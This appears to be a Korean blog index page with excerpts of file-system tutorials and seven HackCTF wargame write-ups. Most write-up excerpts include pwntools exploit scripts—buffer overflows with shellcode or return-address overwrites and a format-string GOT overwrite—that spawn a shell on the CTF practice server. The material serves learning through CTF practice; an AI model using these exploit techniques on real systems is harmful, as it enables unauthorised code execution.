전체 글
👉🏻  03. 클러스터
클러스터 저장매체의 물리적인 최소 단위는 1 섹터이다. 따라서 실제 하드디스크 컨트롤러에 의해 동작하는 단위도 섹터단위로 읽고 쓰인다. 하지만 현대의 파일시스템은 섹터 단위가 아닌 여러 섹터를 묶은 클러스터라는 개념으로 데이터를 관리한다. 이는 평균적인 파일 크기가 커진 상황에서 섹터 단위로 관리하는 것은 비효율적이기 때문이다. 윈도우에서는 포맷 시 위와 같이 클러스터의 크기를 설정할 수 있다. 클러스터의 크기를 지정하지 않을 경우 볼륨 크기에 따라 미리 정의된 클러스터 크기가 기본으로 할당된다. 볼륨 크기에 따른 기본 클러스터 크기는 다음과 같다. FAT32에서의 기본 클러스터 크기 Volume Size Cluster Size 32MB - 8GB 4KB 8GB - 16GB 8KB 16GB - 32GB ..
Series/File System
👉🏻  02. 섹터 주소 지정 방식
섹터 주소 지정 방식 저장매체는 섹터라는 최소한의 데이터 저장단위를 사용한다. 섹터는 일반적으로 512byte이다. 이러한 섹터들은 하드디스크 물리적인 구조 내에 존재하는데 특정 파일을 읽고자 한다면 해당 섹터를 읽어야 한다. 섹터는 각각 주소값을 가지고 있기 때문에 해당 주소로 접근하여 각 섹터를 읽어오면 될 것이다. 섹터의 주소를 지정하는 방식은 조그만한 변화를 거쳐왔다. 초기에 사용된 것이 CHS 주소 지정 방식이고 이후 LBA 주소 지정 방식이 사용되고 있다. CHS 주소 지정 방식 CHS(Cylinder-Head-Sector) 주소 지정 방식은 실린더(Cylinder), 헤드(Head), 섹터(Sector) 구조를 기반으로 주소를 지정하는 방식이다. 다음은 하드디스크의 물리적인 구조이다. 위 그..
Series/File System
👉🏻  01. 파일시스템 소개
파일 시스템 소개 파일 시스템은 데이터를 효과적으로 관리하기 위해 사전에 정의한 기록 방식이다. 효과적인 관리를 위해 최근에는 압축, 암호화, 저널, 동적 할당, 다국어 지원 등 다양한 기능을 보유하고 있다. 운영체제 별로 사용하는 파일시스템 파일시스템은 운영체제나 운영체제나 저장매체 혹은 사용환경에 따라 고유한 파일시스템이 사용된다. 저장매체 운영체제 파일시스템 디스크장치 Windows FAT, NTFS Linux ext Unix-like UFS Mac OS HFS, HFS+ Solaris ZFS 물론 위의 파일시스템이 각 운영체제에서 고정적으로 사용되는 것은 아니다. 게다가 여기서 언급한 파일시스템 외에도 스마트폰 같은 장비에 사용되는 다양한 파일시스템이 사용될 수 있다. 이러한 파일 시스템은 표준에..
Series/File System
👉🏻  [ HackCTF ] Simple_Overflow_ver_2
문제 분석 문제를 실행해 보면 Data를 입력하면 버퍼의 주소를 알 수 있다. 다시 Data를 입력하면 같은 위치에 새로운 Data가 들어간다. 문제 풀이 처음에 아무 값이나 입력해서 버퍼의 주소를 찾고, 해당 버퍼에 쉘코드를 삽입하고 return address를 버퍼의 주소로 덮어주면 쉘을 획득할 수 있다. Data는 ebp-0x88에 위치하므로 다음과 같이 payload를 작성할 수 있다. shellcode + '\x90'*(0x88(buffer)-len(shellcode)+4(sfp)) from pwn import * p = remote('ctf.j0n9hyun.xyz', 3006) context.arch = 'i386' shellcode = asm(shellcraft.sh()) p.sendline..
Wargame/HackCTF
👉🏻  [ HackCTF ] x64 Simple_size_BOF
문제 분석 gets에서 BOF 취약점을 찾을 수 있다. 또한 puts를 통해 buffer의 주소를 알려주고 있다. 문제 풀이 buffer에 쉘코드를 넣고 gets에서 BOF를 통해 return address를 buffer로 덮어주면 된다. payload는 다음과 같이 작성하면 된다. shellcode - dummy(27952(buffer size)+8(rbp)-length(shellcode)) + (buffer address) from pwn import * p = remote('ctf.j0n9hyun.xyz', 3005) p.recvuntil('buf: ') buf = int(p.recv(14),16) context.arch = 'amd64' shellcode = asm(shellcraft.sh()) ..
Wargame/HackCTF
👉🏻  [ HackCTF ] x64 Buffer Overflow
문제 분석 main함수에서 scanf를 보면 BOF 취약점이 존재한다. callMeMaybe함수에서는 shell을 획득할 수 있다. 문제 풀이 변수 s는 ebp-0x110에 위치하므로 다음과 같이 payload를 작성할 수 있다. dummy(0x110byte) + sfp(8byte) + 0x0000000000400606(callMeMaybe address) from pwn import * p = remote('ctf.j0n9hyun.xyz', 3004) payload = '' payload += '\x90'*0x110 payload += '\x90'*0x8 payload += p64(0x0000000000400606) p.sendline(payload) p.interactive()
Wargame/HackCTF
👉🏻  [ HackCTF ] 내 버퍼가 흘러넘친다!!!
문제 분석 이름을 입력받고 gets 함수로 다시 값을 입력받고 있다. 여기서 입력받는 문자열의 길이를 확인하지 않아 BOF가 발생하게 된다. 문제 풀이 변수 s는 크기가 작아 쉘코드를 넣을 수 없다. 따라서 name에 쉘코드를 넣고 BOF를 발생시켜 return address를 name으로 바꿔주면 된다. from pwn import * p = remote('ctf.j0n9hyun.xyz', 3003) name = 0x804a060 context.arch = 'i386' shellcode = shellcraft.sh() shellcode = asm(shellcode) payload = '' payload += '\x90'*0x14 payload += '\x90'*4 payload += p32(name) ..
Wargame/HackCTF
👉🏻  [ HackCTF ] Basic_FSB
문제 분석 vuln()함수를 보면 snprintf에서 FSB 취약점이 존재한다. 또한 shell을 얻을 수 있는 flag()함수가 있다. 문제 풀이 FSB를 이용하여 printf의 got를 flag()함수의 주소로 덮어주면 shell을 얻을 수 있다. 간단하게 FSB를 발생시켜보면 2번째 %x에서 첫 번째 인자 AAAA를 참조하고 있다. 따라서 다음과 같이 FSB를 발생시킬 수 있다. printf_got(4byte) + %(134514100-4byte=134514096)x+%n from pwn import * p = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('./basic_fsb') print_got = e.got['printf'] payload = '' payload +..
Wargame/HackCTF
👉🏻  [ HackCTF ] Basic_BOF #2
문제 분석 IDA로 분석해 보면, fgets 함수에서 bof가 발생하는 것을 알 수 있다. 또한 shell을 실행시켜주는 함수가 따로 존재한다. 문제 풀이 fgets함수에서 bof를 발생시켜 v5함수의 주소를 shell() 함수의 주소로 바꿔주면 된다. s는 ebp-0x8C에 위치하고 v5는 ebp-0xC에 위치하므로 0x80만큼의 dummy를 넣어주고 shell() 함수의 주소를 넣어주면 된다. from pwn import * e = ELF('./bof_basic2') p = remote('ctf.j0n9hyun.xyz', 3001) shell = e.symbols['shell'] payload = '' payload += 'A'*0x80 payload += p32(shell) p.send(payloa..
Wargame/HackCTF
👉🏻  [ HackCTF ] Basic_BOF #1
문제 분석 IDA로 분석해 보면 변수 s에 값을 입력받고, 변수 v5가 0xdeadbeef이면 flag를 얻을 수 있다. 문제 풀이 s는 ebp-0x34에 위치하고 v5는 ebp-0xC에 위치하므로 0x28만큼의 dummy값을 입력하고 0xdeadbeef를 입력하면 된다. from pwn import * p = remote('ctf.j0n9hyun.xyz', 3000) payload = '' payload += 'A'*0x28 payload += p32(0xdeadbeef) p.send(payload) p.interactive()
Wargame/HackCTF

하드웨어 : 사람이 발로 걷어찰 수 있는 부분

KalioNix
상단으로

티스토리툴바